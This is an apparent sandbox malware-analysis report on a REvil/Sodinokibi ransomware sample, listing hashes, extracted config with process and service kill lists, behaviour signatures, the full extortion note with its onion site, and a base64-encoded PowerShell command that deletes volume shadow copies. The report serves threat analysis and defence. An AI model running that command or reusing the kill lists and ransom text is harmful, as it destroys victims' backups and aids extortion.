Analysis

  • max time kernel
    61s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-04-2023 15:31

General

  • Target

    Revil.bin.exe

  • Size

    119KB

  • MD5

    fa8117afd2dbd20513522f2f8e991262

  • SHA1

    f7b876edb8fc0c83fd8b665d3c5a1050d4396302

  • SHA256

    78b592a2710d81fa91235b445f674ee804db39c8cc34f7e894b4e7b7f6eacaff

  • SHA512

    2bab344d136b31cd7c55b7cd0ef1b7718c9952573f3b1478a2efb8211563d7dedacefd4764a7186e15f7de93cc43fa29fc4d2fa61961a14bb12d7bea830e5032

  • SSDEEP

    3072:KW5yc3Y4SMQwuOekD96R928AN+/uSxo+HHz/bs/k4OS:K83Y5BAxa92KrxTnz/Y/k4O

Malware Config

Extracted

Family

sodinokibi

Botnet

$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6

Campaign

49

Attributes
  • net

    false

  • pid

    $2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6

  • prc

    vsnapvss

    EnterpriseClient

    firefox

    infopath

    cvd

    tv_x64.exe

    VeeamTransportSvc

    steam

    encsvc

    mydesktopservice

    outlook

    synctime

    ocssd

    SAP

    cvfwd

    bengien

    vxmon

    bedbh

    ocomm

    ocautoupds

    raw_agent_svc

    oracle

    disk+work

    powerpnt

    saposcol

    sqbcoreservice

    sapstartsrv

    beserver

    saphostexec

    dbeng50

  • ransom_oneliner

    All of your files are encrypted! Find EDGEWATER-README.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have {EXT} extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: {KEY} !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !!

  • sub

    49

  • svc

    QBCFMonitorService

    thebat

    dbeng50

    winword

    dbsnmp

    VeeamTransportSvc

    disk+work

    TeamViewer_Service.exe

    firefox

    QBIDPService

    steam

    onenote

    CVMountd

    cvd

    VeeamDeploymentSvc

    VeeamNFSSvc

    bedbh

    mydesktopqos

    avscc

    infopath

    cvfwd

    excel

    beserver

    powerpnt

    mspub

    synctime

    QBDBMgrN

    tv_w32.exe

    EnterpriseClient

    msaccess

Extracted

Path

C:\Recovery\EDGEWATER-README.txt

Ransom Note
---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have ddau5 extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: l09A15tsQrOrFtbiTPcMm6T0Vw0Ct5TOkESigWZF50YD3TXQhjrG7ChoM5PMIqzT O4ls632qKqX5JziMHvx9AbgDLYdEKXcax4n8/vNvfqz4i8m49qWq/He8TJvfwpPw tLwmgKyqN/BlGOoQsPDEEfYHjbOt6aq7CFOw0l33sX+Mx+l8YRkiKHR/cPV/QAh1 EcIpeuAaotQQwlfyw8dV0bC9YGmZ6m82WiQ+phC/NyTibvD+t6wYLkhIuL7oumfO wHzLdOLFyexcjO5lLL6i3friMSaAaHlkQziFhZlJhmAyAsKIezbc3MuYJC0PFTeQ 75+Nm2iLx1hZJ1BfTaacSUwbMqh1jyuWV98GDwjGNJI5DbeljG3vcO64ohYiIF18 DC4ECdjwwyV8JZDAicSSnat3ZoEEgUMjKuu8ZN6KKIVyYJsZh9cbMRA7rUbyeboU ZAVG5Nk+p++iQqXF4nYOUADuly79aJa34Yu0g23TPAQ7kNy51ANbY3PnzVj8bzuI c4HEWdQN5vrOwkxJ+7TNREeBPOXBFPeiLyGUGJuHcJLTbaupb+HqBRV9YDiwssuq n8NIEPIxu0ZP5/f0L5ANqDK6Z4i5NMm9q7DyUt+X8BMdC6W22P6BYErm+zjVF/sL Hp2sWAzH5g5jK0ETJRoy5IJYJLXOFbELexsX0fjG46HOZ7SizvtOp0oz0tmEkJ3S iamaQL/NlqaHH94brFPirJi+2R3tBKG07XCgG2731HNuxySMKIYft/EiX8C8kqBR bOAMCafJG1rr6jUN0BnWFWPOvgTWO4XETNi4LeetiYqLUezxyoIY7+hsk45eDyCJ CwvDq+2+YP35WcpBYYYeaLoEKBo4duwKOtre0IMkq7L7frv+LDdDypA9m63gcXvl docaKXuZf9C53KuRufGS0fs9ihudqM0fgEh3/W7dbx8VGCZr/0c0MXu1kj/1FDcV iOVDUQGXyL9d65aRgSi9cR6+iHx1c0biebFHePTQKLq0iU5JL0zrWDOfx5izf0lz u+6PRZmxk53TpM+A2Ov5CtSQZBzhsDQ5HRovD7OHALOgctis+tNm9RzCPTSREhg/ J4ZS/k+y4iU5RRVjBrJtyHCT4NZIrTEF90aXAate2+bhnbADw+3T8A4FeLFqQQkU Umz3uMRf8Ix3wuhC9jCfh94US/KR4GFYoOUfgX489nPOCZDYl+HhEMoD30t137dM EqZMYRWdulnug/LxsVvMFqwAV/eOdVWBXU4aDurXNMD7pU+EAtRCg9XEA9xWBmBj 6eALQZJd3V32diLOv2EYmLSVzQZKnpw7 !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !!
URLs

http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4740
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3464
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3816

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Recovery\EDGEWATER-README.txt

      Filesize

      5KB

      MD5

      a534f1fd8fa84932d81fecdd6671aa89

      SHA1

      d2fe61f6cd506708868b793f62acee17834e9773

      SHA256

      1af804efe2bd6fbebc64c61dc3509bfe2e420a2bf47258b62cb8ed18eab1077c

      SHA512

      480f7d0a3a5b69418f015ce57a747ce3db594126c8ab9f9cc2100272db286528e4d1bfa5b5108fa927f62e152b2159988c68e1d32636093aa5aa907bad9613f4

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfvgans4.5q5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2176-133-0x0000000001100000-0x0000000001120000-memory.dmp

      Filesize

      128KB

    • memory/2176-134-0x0000000001100000-0x0000000001120000-memory.dmp

      Filesize

      128KB

    • memory/2176-150-0x0000000001100000-0x0000000001120000-memory.dmp

      Filesize

      128KB

    • memory/2176-283-0x0000000001100000-0x0000000001120000-memory.dmp

      Filesize

      128KB

    • memory/2176-581-0x0000000001100000-0x0000000001120000-memory.dmp

      Filesize

      128KB

    • memory/2176-590-0x0000000001100000-0x0000000001120000-memory.dmp

      Filesize

      128KB

    • memory/4740-135-0x00000207F9190000-0x00000207F91B2000-memory.dmp

      Filesize

      136KB

    • memory/4740-145-0x00000207F6590000-0x00000207F65A0000-memory.dmp

      Filesize

      64KB

    • memory/4740-146-0x00000207F6590000-0x00000207F65A0000-memory.dmp

      Filesize

      64KB

    • memory/4740-147-0x00000207F6590000-0x00000207F65A0000-memory.dmp

      Filesize

      64KB